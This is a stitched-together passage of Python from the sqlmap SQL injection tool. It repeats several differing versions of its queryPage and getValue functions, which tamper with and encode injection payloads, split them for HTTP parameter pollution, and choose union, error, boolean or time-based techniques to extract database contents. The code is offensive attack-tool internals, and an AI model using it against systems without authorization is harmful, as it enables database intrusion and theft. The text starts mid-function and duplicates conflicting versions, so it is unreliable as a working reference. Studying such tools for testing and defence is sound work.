cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int( headers[HTTPHEADER.CONTENT_RANGE] [headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage( url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) if conf.secondOrder: page, headers, code = Connect.getPage( url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(r"max.+connections", page or "", re.I) is not None kb.permissionFlag = re.search( r"(command|permission|access)\s*(was|is)?\s*denied", page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison( page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target URL page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ ########### Connect the Database directly if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None # print "place -----",place if not place: #print kb.injection.place #print "place.get:",PLACE.GET place = kb.injection.place or PLACE.GET## kb.injection.place = none , place.get= 'get' if not auxHeaders: auxHeaders = {} raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) """ print "------------------------- value ---------------------------" print value print "----------------------------------------------------------" """ payload = agent.extractPayload(value) """ payload_file = open("payload_file","a") print "------------------ Payload -------------------------" print >>payload_file, payload payload_file.close() """ threadData = getCurrentThreadData() #print type(threadData) if conf.httpHeaders: headers = OrderedDict(conf.httpHeaders) contentType = max(headers[_] if _.upper() == HTTP_HEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if (kb.postHint or conf.skipUrlEncode) and kb.postUrlEncode: kb.postUrlEncode = False conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: try: payload = function(payload=payload, headers=auxHeaders) except Exception, ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.func_name, ex) raise SqlmapGenericException(errMsg) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException(errMsg) value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST and kb.postHint: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be throughly URL encoded if place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and kb.postUrlEncode: payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below value = agent.replacePayload(value, payload)
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None host = None page = None pageLength = None uri = None code = None skipUrlEncode = conf.skipUrlEncode if not place: place = kb.injection.place or PLACE.GET raise404 = place != PLACE.URI if raise404 is None else raise404 value = agent.adjustLateValues(value) payload = agent.extractPayload(value) threadData = getCurrentThreadData() if skipUrlEncode is None and conf.httpHeaders: headers = dict(conf.httpHeaders) _ = max(headers[_] if _.upper() == HTTPHEADER.CONTENT_TYPE.upper() else None for _ in headers.keys()) if _ and "urlencoded" not in _: skipUrlEncode = True if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload=payload, headers=auxHeaders) if not isinstance(payload, basestring): errMsg = "tamper function '%s' returns " % function.func_name errMsg += "invalid payload type ('%s')" % type(payload) raise SqlmapValueException, errMsg value = agent.replacePayload(value, payload) logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.CUSTOM_POST: if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): # payloads in SOAP/XML should have chars > and < replaced # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: if payload.startswith('"') and payload.endswith('"'): payload = json.dumps(payload[1:-1]) else: payload = json.dumps(payload)[1:-1] value = agent.replacePayload(value, payload) else: if place != PLACE.URI or (value and payload and '?' in value and value.find('?') < value.find(payload)): # GET, URI and Cookie need to be throughly URL encoded (POST is encoded down below) payload = urlencode(payload, '%', False, True) if place in (PLACE.GET, PLACE.COOKIE, PLACE.URI) and not skipUrlEncode else payload value = agent.replacePayload(value, payload) if conf.hpp: if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) if place in (PLACE.GET, PLACE.POST): _ = re.escape(PAYLOAD_DELIMITER) match = re.search("(?P<name>\w+)=%s(?P<value>.+?)%s" % (_, _), value) if match: payload = match.group("value") for splitter in (urlencode(' '), ' '): if splitter in payload: prefix, suffix = ("*/", "/*") if splitter == ' ' else (urlencode(_) for _ in ("*/", "/*")) parts = payload.split(splitter) parts[0] = "%s%s" % (parts[0], suffix) parts[-1] = "%s%s=%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[-1]) for i in xrange(1, len(parts) - 1): parts[i] = "%s%s=%s%s%s" % (DEFAULT_GET_POST_DELIMITER, match.group("name"), prefix, parts[i], suffix) payload = "".join(parts) for splitter in (urlencode(','), ','): payload = payload.replace(splitter, "%s%s=" % (DEFAULT_GET_POST_DELIMITER, match.group("name"))) value = agent.replacePayload(value, payload) else: warnMsg = "HTTP parameter pollution works only with regular " warnMsg += "GET and POST parameters" singleTimeWarnMessage(warnMsg) if place: value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.CUSTOM_POST in conf.parameters: post = conf.parameters[PLACE.CUSTOM_POST].replace(CUSTOM_INJECTION_MARK_CHAR, "") if place != PLACE.CUSTOM_POST or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.USER_AGENT in conf.parameters: ua = conf.parameters[PLACE.USER_AGENT] if place != PLACE.USER_AGENT or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.HOST in conf.parameters: host = conf.parameters[PLACE.HOST] if place != PLACE.HOST or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString match = re.search("%s=(?P<value>[^&;]+)" % randomParameter, paramString) if match: origValue = match.group("value") retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: for item in (PLACE.GET, PLACE.POST, PLACE.COOKIE): if item in conf.parameters: if item == PLACE.GET and get: get = _randomizeParameter(get, randomParameter) elif item == PLACE.POST and post: post = _randomizeParameter(post, randomParameter) elif item == PLACE.COOKIE and cookie: cookie = _randomizeParameter(cookie, randomParameter) if conf.evalCode: delimiter = conf.pDel or DEFAULT_GET_POST_DELIMITER variables = {} originals = {} for item in filter(None, (get, post)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) evaluateCode("%s=%s" % (name, repr(value)), variables) originals.update(variables) evaluateCode(conf.evalCode, variables) for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: if isinstance(value, (basestring, int)): value = unicode(value) if '%s=' % name in (get or ""): get = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, get) elif '%s=' % name in (post or ""): post = re.sub("((\A|\W)%s=)([^%s]+)" % (name, delimiter), "\g<1>%s" % value, post) elif post is not None: post += "%s%s=%s" % (delimiter, name, value) else: get += "%s%s=%s" % (delimiter, name, value) get = urlencode(get, limit=True) if post is not None: if place not in (PLACE.POST, PLACE.CUSTOM_POST) and hasattr(post, UNENCODED_ORIGINAL_VALUE): post = getattr(post, UNENCODED_ORIGINAL_VALUE) elif not skipUrlEncode and kb.postHint not in POST_HINT_CONTENT_TYPES.keys(): post = urlencode(post) if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() if conf.tor: warnMsg = "it's highly recommended to avoid usage of switch '--tor' for " warnMsg += "time-based injections because of its high latency time" singleTimeWarnMessage(warnMsg) warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." singleTimeWarnMessage(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) deviation = stdev(kb.responseTimes) if deviation > WARN_TIME_STDEV: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE warnMsg = "there is considerable lagging " warnMsg += "in connection response(s). Please use as high " warnMsg += "value for option '--time-sec' as possible (e.g. " warnMsg += "%d or more)" % (conf.timeSec * 2) logger.critical(warnMsg) elif not kb.testMode: warnMsg = "it is very important not to stress the network adapter's " warnMsg += "bandwidth during usage of time-based queries" singleTimeWarnMessage(warnMsg) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if headers: if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers, code = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) if conf.secondOrder: page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = kb.originalCode or code if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None if content or response: return page, headers if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, code, getRatioValue, pageLength) else: return False
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL if conf.useHexBasedString: expression = expression.replace("'", "") kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = expression[len("SELECT "):] if re.search(r"(?i)\(.+\)\Z", booleanExpression): booleanExpression = "%s=%s" % ( booleanExpression, "'1'" if "'1'" in booleanExpression else '1') else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not 'COUNT(*)' in query: query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = __goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join( filter(None, (key if isTechniqueAvailable(value) else None for key, value in { "E": PAYLOAD.TECHNIQUE.ERROR, "U": PAYLOAD.TECHNIQUE.UNION }.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = __goBooleanProxy(booleanExpression) else: value = __goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) if value and isinstance(value, basestring): value = value.strip() if value.strip() else value[:1] else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise sqlmapNotVulnerableException, errMsg finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms( ) and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' and/or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def queryPage(value=None, place=None, content=False, getSeqMatcher=False, silent=False, method=None, auxHeaders=None, response=False, raise404 = None): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None page = None pageLength = None uri = None raise404 = place != PLACE.URI if raise404 is None else raise404 toUrlencode = { PLACE.GET: True, PLACE.POST: True, PLACE.COOKIE: conf.cookieUrlencode, PLACE.UA: True, PLACE.URI: False } if not place: place = kb.injPlace payload = agent.extractPayload(value) if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(9, payload) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value, False) value = urlEncodeCookieValues(value) elif place: value = agent.removePayloadDelimiters(value, toUrlencode[place]) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value if PLACE.POST in conf.parameters: post = conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua) if not content and not response and kb.nullConnection: if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders["Range"] = "bytes=-1" _, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if kb.nullConnection == NULLCONNECTION.HEAD and 'Content-Length' in headers: pageLength = int(headers['Content-Length']) elif kb.nullConnection == NULLCONNECTION.RANGE and 'Content-Range' in headers: pageLength = int(headers['Content-Range'][headers['Content-Range'].find('/') + 1:]) if not pageLength: page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404) if conf.textOnly: page = getFilteredPageContent(page) if content or response: return page, headers elif getSeqMatcher: return comparison(page, headers, getSeqMatcher=False, pageLength=pageLength), comparison(page, headers, getSeqMatcher=True, pageLength=pageLength) elif pageLength or page: return comparison(page, headers, getSeqMatcher, pageLength) else: return False
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None): """ This method calls a function to get the target url page content and returns its page MD5 hash or a boolean value in case of string match check ('--string' command line parameter) """ if conf.direct: return direct(value, content) get = None post = None cookie = None ua = None referer = None page = None pageLength = None uri = None raise404 = place != PLACE.URI if raise404 is None else raise404 if not place: place = kb.injection.place payload = agent.extractPayload(value) threadData = getCurrentThreadData() if payload: if kb.tamperFunctions: for function in kb.tamperFunctions: payload = function(payload) value = agent.replacePayload(value, payload) logger.log(9, payload) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value) value = urlEncodeCookieValues(value) elif place: if place in (PLACE.GET, PLACE.POST): # payloads in GET and/or POST need to be urlencoded # throughly without safe chars (especially & and =) # addendum: as we support url encoding in tampering # functions therefore we need to use % as a safe char payload = urlencode(payload, "%", False, True) value = agent.replacePayload(value, payload) value = agent.removePayloadDelimiters(value) if conf.checkPayload: checkPayload(value) if PLACE.GET in conf.parameters: get = urlencode(conf.parameters[PLACE.GET] if place != PLACE.GET or not value else value, limit=True) if PLACE.POST in conf.parameters: post = urlencode(conf.parameters[PLACE.POST] if place != PLACE.POST or not value else value) if PLACE.COOKIE in conf.parameters: cookie = conf.parameters[PLACE.COOKIE] if place != PLACE.COOKIE or not value else value if PLACE.UA in conf.parameters: ua = conf.parameters[PLACE.UA] if place != PLACE.UA or not value else value if PLACE.REFERER in conf.parameters: referer = conf.parameters[PLACE.REFERER] if place != PLACE.REFERER or not value else value if PLACE.URI in conf.parameters: uri = conf.url if place != PLACE.URI or not value else value else: uri = conf.url if timeBasedCompare: if len(kb.responseTimes) < MIN_TIME_RESPONSES: clearConsoleLine() warnMsg = "time-based comparison needs larger statistical " warnMsg += "model. Making a few dummy requests, please wait.." logger.warn(warnMsg) while len(kb.responseTimes) < MIN_TIME_RESPONSES: Connect.queryPage(content=True) if conf.safUrl and conf.saFreq > 0: kb.queryCounter += 1 if kb.queryCounter % conf.saFreq == 0: Connect.getPage(url=conf.safUrl, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer) start = time.time() if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection == NULLCONNECTION.HEAD: method = HTTPMETHOD.HEAD elif kb.nullConnection == NULLCONNECTION.RANGE: if not auxHeaders: auxHeaders = {} auxHeaders[HTTPHEADER.RANGE] = "bytes=-1" _, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, raise404=raise404) if kb.nullConnection == NULLCONNECTION.HEAD and HTTPHEADER.CONTENT_LENGTH in headers: pageLength = int(headers[HTTPHEADER.CONTENT_LENGTH]) elif kb.nullConnection == NULLCONNECTION.RANGE and HTTPHEADER.CONTENT_RANGE in headers: pageLength = int(headers[HTTPHEADER.CONTENT_RANGE][headers[HTTPHEADER.CONTENT_RANGE].find('/') + 1:]) if not pageLength: page, headers = Connect.getPage(url=uri, get=get, post=post, cookie=cookie, ua=ua, referer=referer, silent=silent, method=method, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) threadData.lastQueryDuration = calculateDeltaSeconds(start) if kb.testMode: kb.testQueryCount += 1 if conf.cj: conf.cj.clear() if timeBasedCompare: return wasLastRequestDelayed() elif noteResponseTime: kb.responseTimes.append(threadData.lastQueryDuration) if content or response: return page, headers page = removeReflectiveValues(page, payload) if getRatioValue: return comparison(page, getRatioValue=False, pageLength=pageLength), comparison(page, getRatioValue=True, pageLength=pageLength) elif pageLength or page: return comparison(page, getRatioValue, pageLength) else: return False
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
